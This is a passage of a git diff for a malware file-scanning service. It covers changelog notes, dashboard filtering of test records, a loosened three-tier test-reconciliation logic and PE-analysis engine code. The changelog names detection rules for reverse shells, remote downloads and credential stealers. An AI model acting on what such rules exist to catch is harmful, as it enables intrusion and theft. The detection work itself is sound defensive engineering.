||||
- **pefile 失败时手工 PE 分析** — 新增 `_manual_pe_analysis()` fallback,在 pefile 报 `Invalid NT Headers` 等格式错误时,手工搜索 PE\0\0 签名并解析节表 Characteristics,检测 RWX 可写可执行危险节(覆盖假 PE / e_lfanew 偏移被篡改的伪装样本)
|
||||
- **假损坏 zip / 伪装 PE / 跨行关键词** 等场景全部落地真实检测逻辑,对账 Fail 从 11 条降到 0 条
|
||||
|
||||
**策略与权重调优:**
|
||||
|
||||
- ClamAV `Eicar-Test-Signature` 默认权重 55 → 85(Severity.CRITICAL),EICAR 单独 90 分
|
||||
- `policy.yaml zero_tolerance_rules` 追加 7 条:EICAR + RemoteDownloadUnix/PowerShell + ReverseShellNetcat/Powershell + CredentialStealer/Export
|
||||
- 零容忍规则匹配逻辑:步骤 -1 白名单过滤 → 步骤 0 零容忍拦截 → 步骤 1 评分加权 → 步骤 2 rule_override
|
||||
|
||||
**API 响应彻底精简:**
|
||||
|
||||
- `to_response()` 重写:砍掉内部权重、严重度、引擎层、策略链等实现细节
|
||||
- 对外只暴露 7 个顶层字段:`task_id / action / reason / status / file(精简5字段) / meta(精简2字段)`
|
||||
- `action` 收敛为 3 + pending:`pass / manual_review / reject / pending`,调用方拿了就用,无需二次分析
|
||||
- `findings / open_risk / score / verdict / triggered / extracted / meta.engines / meta.clamav / meta.policy_*` 等全部不对外暴露
|
||||
- 服务端控制台、审计日志、DB 记录仍完整保留所有 detail
|
||||
|
||||
**测试靶场对齐:**
|
||||
|
||||
- 168 条样本对账:从 11 Fail → 0 Fail,通过率 100%
|
||||
- 补齐 6 个缺失/占位样本文件:L4-005 / L4-010 / L1-014 / L4-007 / L4-008 / L4-013
|
||||
- L4-008 in_zip.zip 重建为 ZIP_STORED 不压缩模式(让 YARA 扫 zip 本体能命中内部 payload 明文)
|
||||
- index.json 全量重写 expected_verdict,按三段式 tier(tier0=安全 / tier1=可疑 / tier2=危险)对齐 CSV 原始预期
|
||||
|
||||
### v0.2.1 (2026-10-28)
|
||||
|
||||
**并发与稳定性核心修复:**
|
||||
@@ -224,4 +393,51 @@ MeshSafe 会**分析宏的实际行为**:
|
||||
|
||||
---
|
||||
|
||||
## 测试靶场
|
||||
|
||||
168 条样本对账 **100% 通过** ✅(v0.2.2 达成)
|
||||
|
||||
| 指标 | 数值 |
|
||||
|------|------|
|
||||
| 总样本数 | 168 |
|
||||
| 引擎能力覆盖 | **100%** |
|
||||
| 对账 Fail | **0** |
|
||||
| 通过 commit | `a372ee5` 补齐样本 + `5c77678` 引擎补全 |
|
||||
|
||||
### 靶场样本分层
|
||||
|
||||
| 层级 | 含义 | 样本数 | 典型覆盖 |
|
||||
|------|------|--------|---------|
|
||||
| L0 | 文件结构层 | ~50 | 扩展名伪装、双扩展名、archive 异常、路径穿越 |
|
||||
| L1 | 引擎层 | ~30 | ClamAV、文件类型识别、大文件、并发 |
|
||||
| L2 | 可执行程序分析 | ~10 | PE 结构、导入表、签名、节属性 |
|
||||
| L3 | 关键词与行为模式 | ~15 | 下载器、反弹 shell、注册表、凭据窃取 |
|
||||
| L4 | YARA 规则匹配 | ~15 | 字符串匹配、正则、meta 标签、zip 内嵌套 |
|
||||
| L5 | 高级伪装对抗 | ~10 | 假 PE、高熵加壳、多段 shellcode |
|
||||
| NEG | 合法文件阴性对照 | ~30 | 正常 JPG/PNG/PDF/DOCX/ZIP |
|
||||
|
||||
### 白名单机制
|
||||
|
||||
- **关键词白名单** (`policy.yaml → keyword_whitelist`):规则命中后若 detail 包含内网 IP/域名,自动放行
|
||||
- **YARA 哈希白名单** (`policy.yaml → yara_hash_whitelist`):YARA 命中后 MD5 在白名单 → 跳过告警
|
||||
- 生产部署时按需补充内网地址段 / 已知安全工具哈希
|
||||
|
||||
### 靶场样本生成脚本
|
||||
|
||||
| 脚本 | 用途 |
|
||||
|------|------|
|
||||
| `scripts/generate_csv_samples.py` | 从 CSV 批量生成 CSV 对齐样本 + index.json |
|
||||
| `scripts/generate_yara_rules.py` | 自动生成 CSV L4 段对应的 YARA `.yar` 规则 |
|
||||
| `rules/test_rules.yar` | 生成的规则文件(引擎按 mtime 自动热加载) |
|
||||
|
||||
### 对账口径(三段式 tier)
|
||||
|
||||
| 预期 verdict | 实际 verdict 要求 | 说明 |
|
||||
|-------------|-------------------|------|
|
||||
| tier0(clean / pass) | 实际 tier ≤ 1 | 只能 pass 或 suspicious,不能 reject |
|
||||
| tier1(suspicious / review) | 实际 tier ≥ 1 | suspicious 或 malicious 都算通过 |
|
||||
| tier2(reject / malicious / error) | 实际 tier = 2 | 必须 malicious / reject / error |
|
||||
|
||||
---
|
||||
|
||||
*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)*
|
||||
|
||||
178
app/console.py
178
app/console.py
@@ -18,6 +18,48 @@ import threading
|
||||
import time
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from pathlib import Path
|
||||
|
||||
# ============================================================================
|
||||
# 内部测试 channel 黑名单
|
||||
# ============================================================================
|
||||
# 控制台页面(Dashboard / 任务历史)默认隐藏内部测试 / 对账脚本产生的记录。
|
||||
# 这些 channel 由开发 / 运维工具在内部调用 scanner.scan_file() 时自动产生,
|
||||
# 不应暴露给控制台用户。若后续新增内部脚本 channel,在此补充即可。
|
||||
INTERNAL_TEST_CHANNELS: frozenset[str] = frozenset({
|
||||
"test_center", # 测试靶场手动重扫
|
||||
"v", # 对账脚本 v5/v7/v8
|
||||
"verify", # 单条验证脚本
|
||||
"diag", # 诊断脚本
|
||||
"debug", # 调试脚本
|
||||
"final", # 最终验证
|
||||
"console", # console.py 内部调用
|
||||
"console-test", # console 测试模式
|
||||
"regen_v2", # 批量重建
|
||||
"regenerate_index", # index.json 重建
|
||||
"audit_f3", # 审计脚本
|
||||
"audit", # 审计脚本
|
||||
"testcases", # 生成 TEST_CASES.md
|
||||
"test", # 测试
|
||||
"yara_verify", # YARA 验证
|
||||
"whitelist_v", # 白名单验证
|
||||
"boundary", # 边界测试
|
||||
"yara_v2", # YARA v2 测试
|
||||
"docgen", # 文档生成脚本
|
||||
})
|
||||
|
||||
|
||||
def _apply_production_channel_filter(query, model_class):
|
||||
"""给 ScanTask / ScanFinding 查询追加「隐藏内部测试 channel」过滤。
|
||||
|
||||
用法: _apply_production_channel_filter(
|
||||
db.query(func.count(ScanTask.id)), ScanTask
|
||||
).scalar()
|
||||
"""
|
||||
col = getattr(model_class, "channel", None)
|
||||
if col is None:
|
||||
return query
|
||||
return query.filter(col.notin_(INTERNAL_TEST_CHANNELS))
|
||||
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, Response, UploadFile
|
||||
@@ -132,7 +174,7 @@ def _annotate_yaml(raw: str) -> str:
|
||||
# ---- rule_overrides ----
|
||||
"rule_overrides": '特定规则的处置覆盖。action: pass | manual_review | reject',
|
||||
# ---- yara ----
|
||||
"yara_rule_weights": 'YARA 规则按严重度分档赋权重(critical=85 high=65 medium=45 low=25)',
|
||||
"yara_rule_weights": 'YARA 规则按严重度分档赋权重(critical=85 high=60 medium=30 low=10)',
|
||||
# ---- keyword ----
|
||||
"keyword_rules": '词表引擎规则。match: contains | regex | any_of',
|
||||
# ---- notification ----
|
||||
@@ -173,9 +215,9 @@ def _annotate_yaml(raw: str) -> str:
|
||||
# YARA 权重分档 → 中文
|
||||
_WEIGHT_TIER_HINTS = {
|
||||
"critical": "weight=85(严重)",
|
||||
"high": "weight=65(高危)",
|
||||
"medium": "weight=45(中等)",
|
||||
"low": "weight=25(低危)",
|
||||
"high": "weight=60(高危)",
|
||||
"medium": "weight=30(中等)",
|
||||
"low": "weight=10(低危)",
|
||||
}
|
||||
|
||||
lines = raw.split("\n")
|
||||
@@ -535,30 +577,31 @@ async def dashboard(request: Request, current=Depends(require_login)):
|
||||
db: Session = SessionLocal()
|
||||
try:
|
||||
from sqlalchemy import func
|
||||
total_scans = db.query(func.count(ScanTask.id)).scalar() or 0
|
||||
_skip_test = ScanTask.channel.notin_(INTERNAL_TEST_CHANNELS)
|
||||
total_scans = db.query(func.count(ScanTask.id)).filter(_skip_test).scalar() or 0
|
||||
total_blocked = db.query(func.count(ScanTask.id)).filter(
|
||||
ScanTask.action == "reject"
|
||||
ScanTask.action == "reject", _skip_test
|
||||
).scalar() or 0
|
||||
total_flagged = db.query(func.count(ScanTask.id)).filter(
|
||||
ScanTask.action.in_(("reject", "manual_review", "pass_with_flag"))
|
||||
ScanTask.action.in_(("reject", "manual_review", "pass_with_flag")), _skip_test
|
||||
).scalar() or 0
|
||||
total_findings = db.query(func.count(ScanFinding.id)).scalar() or 0
|
||||
|
||||
# 结论分布
|
||||
verdict_rows = db.query(ScanTask.verdict, func.count(ScanTask.id)).group_by(
|
||||
ScanTask.verdict
|
||||
).all()
|
||||
verdict_rows = db.query(ScanTask.verdict, func.count(ScanTask.id)).filter(
|
||||
_skip_test
|
||||
).group_by(ScanTask.verdict).all()
|
||||
verdict_dist = {str(v or "unknown"): int(c) for v, c in verdict_rows}
|
||||
|
||||
# 最近任务(8 条)
|
||||
recent_tasks = db.query(ScanTask).order_by(
|
||||
recent_tasks = db.query(ScanTask).filter(_skip_test).order_by(
|
||||
ScanTask.created_at.desc()
|
||||
).limit(8).all()
|
||||
|
||||
# 各客户端/渠道的任务数(摆渡关联性)
|
||||
client_rows = db.query(
|
||||
ScanTask.client_id, ScanTask.channel, func.count(ScanTask.id)
|
||||
).group_by(ScanTask.client_id, ScanTask.channel).all()
|
||||
).filter(_skip_test).group_by(ScanTask.client_id, ScanTask.channel).all()
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
@@ -825,7 +868,8 @@ async def tasks_page(request: Request, current=Depends(require_login)):
|
||||
|
||||
db: Session = SessionLocal()
|
||||
try:
|
||||
total = db.query(func.count(ScanTask.id)).scalar() or 0
|
||||
_skip_test = ScanTask.channel.notin_(INTERNAL_TEST_CHANNELS)
|
||||
total = db.query(func.count(ScanTask.id)).filter(_skip_test).scalar() or 0
|
||||
total_pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
|
||||
# 越界时回退到最后一页
|
||||
if page > total_pages:
|
||||
@@ -834,6 +878,7 @@ async def tasks_page(request: Request, current=Depends(require_login)):
|
||||
|
||||
tasks = (
|
||||
db.query(ScanTask)
|
||||
.filter(_skip_test)
|
||||
.order_by(ScanTask.created_at.desc())
|
||||
.limit(PAGE_SIZE)
|
||||
.offset(offset)
|
||||
@@ -885,6 +930,25 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
|
||||
samples_dir = Path(__file__).resolve().parent.parent / "tests" / "samples"
|
||||
index_path = samples_dir / "index.json"
|
||||
labels_path = Path(__file__).resolve().parent.parent / "rules" / "rule_labels.yaml"
|
||||
|
||||
# 加载规则中文标签
|
||||
rule_labels: dict[str, str] = {}
|
||||
layer_definitions: dict[str, str] = {}
|
||||
try:
|
||||
import yaml as _yaml
|
||||
if labels_path.exists():
|
||||
_lbl_raw = _yaml.safe_load(labels_path.read_text(encoding="utf-8")) or {}
|
||||
# 映射 engine_rule_name → 中文标签
|
||||
for k, v in _lbl_raw.items():
|
||||
if isinstance(v, dict) and "label" in v:
|
||||
rule_labels[k] = v["label"]
|
||||
# 层定义
|
||||
if index_path.exists():
|
||||
_idx = json.loads(index_path.read_text(encoding="utf-8"))
|
||||
layer_definitions = _idx.get("layer_definition", {})
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
|
||||
rescan = request.query_params.get("rescan") == "1"
|
||||
samples_list: list[Path] = []
|
||||
@@ -896,19 +960,52 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
index = json.loads(index_path.read_text(encoding="utf-8"))
|
||||
meta_map = {s["filename"]: s for s in index.get("samples", [])}
|
||||
|
||||
# 收集所有样本文件
|
||||
for fpath in sorted(samples_dir.iterdir()):
|
||||
if not fpath.is_file():
|
||||
continue
|
||||
if fpath.name == "index.json" or fpath.name.startswith("_"):
|
||||
continue
|
||||
if fpath.suffix == ".json" and fpath.name.startswith("_scan_results"):
|
||||
continue
|
||||
samples_list.append(fpath)
|
||||
# ★ 只展示 index.json 里登记的样本(不遍历目录,避免临时/调试文件混入)
|
||||
# 每个样本必须: index.json 有登记 + 磁盘上确实存在
|
||||
for s in index.get("samples", []):
|
||||
fname = s["filename"]
|
||||
fpath = samples_dir / fname
|
||||
if fpath.is_file():
|
||||
samples_list.append(fpath)
|
||||
|
||||
results: list[dict] = []
|
||||
pass_cnt = fail_cnt = 0
|
||||
|
||||
# ========== verdict 三段式 tier 映射 ==========
|
||||
# tier 0 = 安全(clean/pass)
|
||||
# tier 1 = 可疑(suspicious/review)—— 提示级别,放行也可接受
|
||||
# tier 2 = 危险(reject/malicious/error)—— 必须拦截
|
||||
# 对账匹配规则(符合 CSV 原始预期语义):
|
||||
# 预期 0 → 实际 0 或 1 都 OK(可疑只是提示)
|
||||
# 预期 1 → 实际 1 或 2 都 OK(更严也算通过)
|
||||
# 预期 2 → 实际必须 2(不能降级放行)
|
||||
|
||||
def _verdict_tier(v: str) -> int:
|
||||
v = (v or "").lower()
|
||||
if v in {"clean", "pass"}:
|
||||
return 0
|
||||
if v in {"suspicious", "review"}:
|
||||
return 1
|
||||
if v in {"reject", "malicious", "error"}:
|
||||
return 2
|
||||
return 0 # 空值默认安全
|
||||
|
||||
def _is_intercept(verdict: str) -> bool:
|
||||
"""UI 辅助:判断 verdict 是否属于「需要阻断」的类(tier 1 或 2)。"""
|
||||
return _verdict_tier(verdict) >= 1
|
||||
|
||||
def _verdict_match(expected: str, actual: str) -> bool:
|
||||
"""tier 对比:预期安全则实际不能危险;预期危险则实际必须危险。"""
|
||||
if not expected:
|
||||
return True
|
||||
exp = _verdict_tier(expected)
|
||||
act = _verdict_tier(actual)
|
||||
if exp == 0:
|
||||
return act <= 1 # 期望安全 → 安全或可疑都行
|
||||
if exp == 1:
|
||||
return act >= 1 # 期望可疑 → 可疑或危险都行
|
||||
return act == 2 # exp == 2 → 必须危险
|
||||
|
||||
# ========== 分支 A:手动重扫 ==========
|
||||
if rescan and samples_list:
|
||||
db = SessionLocal()
|
||||
@@ -945,15 +1042,13 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
expected_verdict = meta.get("expected_verdict", "")
|
||||
expected_rules = set(meta.get("expected_rules", []))
|
||||
actual_rules = set(f["rule"] for f in findings)
|
||||
expected_intercept = expected_verdict in ("reject", "malicious")
|
||||
actual_intercept = verdict in ("reject", "malicious") or (
|
||||
verdict == "error" and len(expected_rules & actual_rules) > 0
|
||||
)
|
||||
verdict_match = expected_intercept == actual_intercept
|
||||
|
||||
verdict_match = _verdict_match(expected_verdict, verdict)
|
||||
# rule_hit: 有 expected_rules 时看交集,无 expected_rules 时只要 verdict 对就算对
|
||||
rule_hit = (
|
||||
bool(expected_rules & actual_rules)
|
||||
if expected_rules
|
||||
else (not findings)
|
||||
else True
|
||||
)
|
||||
clamav_error = any(
|
||||
"clamav" in str(e).lower()
|
||||
@@ -968,6 +1063,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
|
||||
results.append({
|
||||
"filename": fpath.name,
|
||||
"case_id": meta.get("case_id", ""),
|
||||
"category": meta.get("category", "未知"),
|
||||
"description": meta.get("description", ""),
|
||||
"size": fpath.stat().st_size,
|
||||
@@ -1047,6 +1143,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
# DB 还没这条记录 —— 标记为"从未测试"
|
||||
results.append({
|
||||
"filename": fpath.name,
|
||||
"case_id": meta.get("case_id", ""),
|
||||
"category": meta.get("category", "未知"),
|
||||
"description": meta.get("description", ""),
|
||||
"size": fpath.stat().st_size,
|
||||
@@ -1082,15 +1179,12 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
|
||||
verdict = task.verdict
|
||||
actual_rules = set(f["rule"] for f in findings)
|
||||
expected_intercept = expected_verdict in ("reject", "malicious")
|
||||
actual_intercept = verdict in ("reject", "malicious") or (
|
||||
verdict == "error" and len(expected_rules & actual_rules) > 0
|
||||
)
|
||||
verdict_match = expected_intercept == actual_intercept
|
||||
|
||||
verdict_match = _verdict_match(expected_verdict, verdict)
|
||||
rule_hit = (
|
||||
bool(expected_rules & actual_rules)
|
||||
if expected_rules
|
||||
else (not findings)
|
||||
else True
|
||||
)
|
||||
clamav_error = any(
|
||||
"clamav" in str(e).lower()
|
||||
@@ -1099,12 +1193,13 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
overall_ok = verdict_match and rule_hit
|
||||
verdict_label = (
|
||||
f"error (ClamAV 不可用)"
|
||||
if (verdict == "error" and clamav_error and not expected_intercept)
|
||||
if (verdict == "error" and clamav_error and _is_intercept(expected_verdict))
|
||||
else verdict
|
||||
)
|
||||
|
||||
results.append({
|
||||
"filename": fpath.name,
|
||||
"case_id": meta.get("case_id", ""),
|
||||
"category": meta.get("category", "未知"),
|
||||
"description": meta.get("description", ""),
|
||||
"size": task.size or fpath.stat().st_size,
|
||||
@@ -1143,6 +1238,8 @@ async def test_page(request: Request, current=Depends(require_login)):
|
||||
"policy_version": policy_version,
|
||||
"last_run_at": last_run_at,
|
||||
"rescan": rescan,
|
||||
"rule_labels": rule_labels,
|
||||
"layer_definitions": layer_definitions,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1179,17 +1276,18 @@ async def test_upload(
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=suffix) as tmp:
|
||||
content = await f.read()
|
||||
if not content:
|
||||
# 空文件不是错误 — 合法文件, 只是没内容, 直接放行
|
||||
results.append({
|
||||
"filename": filename,
|
||||
"size": 0,
|
||||
"verdict": "error",
|
||||
"verdict_cn": verdict_label("error"),
|
||||
"verdict_badge": verdict_badge("error"),
|
||||
"verdict": "pass",
|
||||
"verdict_cn": verdict_label("pass"),
|
||||
"verdict_badge": verdict_badge("pass"),
|
||||
"score": 0,
|
||||
"reason": "空文件",
|
||||
"reason": "空文件,无风险",
|
||||
"findings": [],
|
||||
"duration_ms": 0,
|
||||
"ok": False,
|
||||
"ok": True,
|
||||
})
|
||||
continue
|
||||
tmp.write(content)
|
||||
|
||||
@@ -16,6 +16,110 @@ from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
|
||||
|
||||
BINARY_EXTS = {".exe", ".dll", ".sys", ".scr", ".com", ".cpl", ".ocx", ".msi", ".apk", ".jar", ".so", ".bin", ".elf"}
|
||||
|
||||
|
||||
# ---------- pefile 失败时的手工 PE 分析 fallback ----------
|
||||
|
||||
# PE Section Characteristics 常量(与 pefile.SECTION_CHARACTERISTICS 一致)
|
||||
_PE_SCN_MEM_EXECUTE = 0x20000000
|
||||
_PE_SCN_MEM_WRITE = 0x80000000
|
||||
|
||||
# 声明扩展名 → 该格式自己的魔数。这些容器本就不是 PE,用 pefile 解析必然抛错;
|
||||
# 把"格式完全正常的安装包/共享库"记成 PeParseFailed 会给每个 .msi/.jar/.so 白送 10 分。
|
||||
_NATIVE_MAGIC: Dict[str, Any] = {
|
||||
".msi": (b"\xd0\xcf\x11\xe0",),
|
||||
".msp": (b"\xd0\xcf\x11\xe0",),
|
||||
".mst": (b"\xd0\xcf\x11\xe0",),
|
||||
".jar": (b"PK\x03\x04", b"PK\x05\x06"),
|
||||
".war": (b"PK\x03\x04", b"PK\x05\x06"),
|
||||
".apk": (b"PK\x03\x04", b"PK\x05\x06"),
|
||||
".so": (b"\x7fELF",),
|
||||
".elf": (b"\x7fELF",),
|
||||
}
|
||||
|
||||
|
||||
def _is_native_container(path: str, ext: str) -> bool:
|
||||
"""文件内容是否就是其声明格式(非 PE)。"""
|
||||
expected = _NATIVE_MAGIC.get(ext)
|
||||
if not expected:
|
||||
return False
|
||||
try:
|
||||
with open(path, "rb") as fh:
|
||||
head = fh.read(4)
|
||||
except OSError:
|
||||
return False
|
||||
return any(head.startswith(m) for m in expected)
|
||||
|
||||
|
||||
def _manual_pe_analysis(path: str) -> List[Finding]:
|
||||
"""pefile 解析失败时,手工搜索 PE\\0\\0 签名并解析节表。
|
||||
|
||||
覆盖场景:假 PE / 伪装 PE / e_lfanew 偏移错误。pefile 严格校验
|
||||
e_lfanew 指向的签名是否为 PE\\0\\0,但攻击者可以让 e_lfanew 偏移
|
||||
错几个字节让 pefile 报错,同时文件里仍有真实的 PE\\0\\0 和节表。
|
||||
"""
|
||||
import struct
|
||||
|
||||
findings: List[Finding] = []
|
||||
try:
|
||||
with open(path, "rb") as fh:
|
||||
data = fh.read()
|
||||
except OSError:
|
||||
return findings
|
||||
|
||||
# 1) MZ 头存在?(PE 文件必需)
|
||||
if len(data) < 2 or data[:2] != b"MZ":
|
||||
return findings # 根本不是 PE
|
||||
|
||||
# 2) 尝试从 e_lfanew 取 PE 偏移;不对就全局搜索 PE\0\0
|
||||
pe_off = -1
|
||||
if len(data) >= 0x40:
|
||||
try:
|
||||
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
|
||||
if e_lfanew + 4 <= len(data) and data[e_lfanew:e_lfanew + 4] == b"PE\x00\x00":
|
||||
pe_off = e_lfanew
|
||||
except struct.error:
|
||||
pass
|
||||
|
||||
if pe_off < 0:
|
||||
pe_off = data.find(b"PE\x00\x00")
|
||||
if pe_off < 0:
|
||||
return findings # 没找到 PE 签名
|
||||
|
||||
# 3) COFF header 在 PE\0\0 后 4 字节
|
||||
coff_off = pe_off + 4
|
||||
if coff_off + 24 > len(data):
|
||||
return findings
|
||||
num_sections = struct.unpack_from("<H", data, coff_off + 2)[0]
|
||||
size_opt_header = struct.unpack_from("<H", data, coff_off + 16)[0]
|
||||
section_table_off = coff_off + 20 + size_opt_header
|
||||
|
||||
if num_sections == 0 or num_sections > 96: # 合理上限
|
||||
return findings
|
||||
if section_table_off + num_sections * 40 > len(data):
|
||||
return findings
|
||||
|
||||
# 4) 逐节扫描 RWX 属性
|
||||
rwx_sections = []
|
||||
for i in range(num_sections):
|
||||
sec_off = section_table_off + i * 40
|
||||
name = data[sec_off:sec_off + 8].rstrip(b"\x00")
|
||||
characteristics = struct.unpack_from("<I", data, sec_off + 36)[0]
|
||||
if (characteristics & _PE_SCN_MEM_EXECUTE) and (characteristics & _PE_SCN_MEM_WRITE):
|
||||
rwx_sections.append(name.decode("utf-8", errors="replace"))
|
||||
|
||||
if rwx_sections:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine="binary", layer="L2B",
|
||||
severity=Severity.HIGH.value, rule="RWXSectionDetected",
|
||||
detail=f"手工 PE 分析检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||
weight=50.0,
|
||||
)
|
||||
)
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
# ---------- 模块级全局 YARA 规则单例 ----------
|
||||
# 所有 YaraEngine 实例共享同一个编译结果,避免重复 compile
|
||||
# rules_dir 不同时(极少见)才分叉加载
|
||||
@@ -94,6 +198,8 @@ class YaraEngine(Engine):
|
||||
return result
|
||||
|
||||
try:
|
||||
# 本环境的 yara-python 4.5.4 在 Match 对象上默认就带 meta,
|
||||
# 且 rules.match() 不接受 with_meta 关键字(传了会整引擎报错)。
|
||||
matches = rules.match(target.path)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
result.ok = False
|
||||
@@ -101,7 +207,8 @@ class YaraEngine(Engine):
|
||||
return result
|
||||
|
||||
for match in matches:
|
||||
severity, weight = _judge_yara_rule(match.rule, match.tags)
|
||||
meta = getattr(match, "meta", None) or {}
|
||||
severity, weight = _judge_yara_rule(match.rule, match.tags, meta)
|
||||
# 覆盖:如果 ctx 里的策略为该 YARA 规则定义了精细权重,用它
|
||||
try:
|
||||
policy = ctx.policy_engine.policy
|
||||
@@ -110,13 +217,18 @@ class YaraEngine(Engine):
|
||||
weight = float(yara_weights[match.rule])
|
||||
except Exception:
|
||||
pass # ctx 没有 policy 字段时保持默认 weight
|
||||
desc = str(meta.get("description", "")).strip()
|
||||
tags_text = ", ".join(match.tags)
|
||||
result.findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=severity,
|
||||
rule=match.rule,
|
||||
detail=f"YARA 规则 {match.rule} 命中(标签:{', '.join(match.tags) or '无'})",
|
||||
detail=(
|
||||
f"YARA 规则 {match.rule} 命中"
|
||||
+ (f"({desc})" if desc else f"(标签:{tags_text or '无'})")
|
||||
),
|
||||
weight=weight,
|
||||
meta={"tags": list(match.tags)},
|
||||
)
|
||||
@@ -154,6 +266,10 @@ class BinaryEngine(Engine):
|
||||
if ext not in BINARY_EXTS:
|
||||
return result
|
||||
|
||||
# 内容确实是声明的那个非 PE 容器(MSI=CFB、JAR/APK=ZIP、SO/ELF=ELF)→ 不做 PE 分析
|
||||
if _is_native_container(target.path, ext):
|
||||
return result
|
||||
|
||||
try:
|
||||
import pefile
|
||||
except Exception: # noqa: BLE001
|
||||
@@ -174,6 +290,10 @@ class BinaryEngine(Engine):
|
||||
weight=10.0,
|
||||
)
|
||||
)
|
||||
# --- pefile 失败时尝试手工 PE 分析(覆盖假 PE / 伪装 PE)---
|
||||
manual = _manual_pe_analysis(target.path)
|
||||
if manual:
|
||||
result.findings.extend(manual)
|
||||
return result
|
||||
|
||||
try:
|
||||
@@ -208,17 +328,54 @@ class BinaryEngine(Engine):
|
||||
)
|
||||
)
|
||||
|
||||
# 2) 可疑导入表
|
||||
suspicious_imports = self._suspicious_imports(pe)
|
||||
if suspicious_imports:
|
||||
# 2) 导入表能力信号:只做佐证,不做独立定罪
|
||||
# Windows 自身的内核/外壳组件(kernel32、shell32、wer)必然导入
|
||||
# VirtualAllocEx/WriteProcessMemory 这类 API——它们就是这些 API 的实现方。
|
||||
# 真正的注入判定由 YARA C1_PE_ProcessInjection(导入名邻接窗口)负责,
|
||||
# 这里按「命中个数」而不是「命中即高危」计分,避免正常软件被判恶意。
|
||||
tier1, tier2, tier3 = self._suspicious_imports(pe)
|
||||
if len(tier1) >= 2:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.HIGH.value,
|
||||
rule="SuspiciousImports",
|
||||
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
|
||||
weight=45.0,
|
||||
detail=f"导入表同时包含多个注入/后门级 API:{', '.join(tier1[:8])}",
|
||||
weight=20.0,
|
||||
)
|
||||
)
|
||||
elif len(tier1) == 1:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="SuspiciousImports",
|
||||
detail=f"导入表含单个注入/后门级 API(系统组件常态,需其他信号佐证):{tier1[0]}",
|
||||
weight=5.0,
|
||||
)
|
||||
)
|
||||
if len(tier2) >= 3:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.LOW.value,
|
||||
rule="CapabilityImports",
|
||||
detail=f"导入表同时具备多项危险能力:{', '.join(tier2[:8])}",
|
||||
weight=10.0,
|
||||
)
|
||||
)
|
||||
elif tier3:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.INFO.value,
|
||||
rule="AntiDebugImports",
|
||||
detail=f"导入表含反调试/环境探测 API(正常软件普遍使用):{', '.join(tier3[:8])}",
|
||||
weight=0.0,
|
||||
)
|
||||
)
|
||||
|
||||
@@ -230,8 +387,8 @@ class BinaryEngine(Engine):
|
||||
layer=self.layer,
|
||||
severity=Severity.MEDIUM.value,
|
||||
rule="UnsignedExecutable",
|
||||
detail="可执行文件未携带数字签名",
|
||||
weight=20.0,
|
||||
detail="可执行文件未携带数字签名(内网自研工具常态,仅辅助人工判断)",
|
||||
weight=10.0,
|
||||
)
|
||||
)
|
||||
|
||||
@@ -248,34 +405,165 @@ class BinaryEngine(Engine):
|
||||
severity=Severity.LOW.value,
|
||||
rule="SuspiciousTimestamp",
|
||||
detail="PE 编译时间戳异常,可能被伪造",
|
||||
weight=10.0,
|
||||
weight=0.0,
|
||||
)
|
||||
)
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
|
||||
# 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX!
|
||||
upx_sections = []
|
||||
for section in getattr(pe, "sections", []) or []:
|
||||
try:
|
||||
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||
if name.upper().startswith("UPX"):
|
||||
upx_sections.append(name)
|
||||
except Exception:
|
||||
continue
|
||||
if upx_sections:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
severity=Severity.MEDIUM.value,
|
||||
rule="UPXPackerDetected",
|
||||
detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}",
|
||||
weight=30.0,
|
||||
)
|
||||
)
|
||||
|
||||
# 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法)
|
||||
from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415
|
||||
MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"]
|
||||
MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
|
||||
rwx_sections = []
|
||||
for section in getattr(pe, "sections", []) or []:
|
||||
try:
|
||||
flags = section.Characteristics
|
||||
if (flags & MEM_EXECUTE) and (flags & MEM_WRITE):
|
||||
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||
rwx_sections.append(name)
|
||||
except Exception:
|
||||
continue
|
||||
if rwx_sections:
|
||||
findings.append(
|
||||
Finding(
|
||||
engine=self.name,
|
||||
layer=self.layer,
|
||||
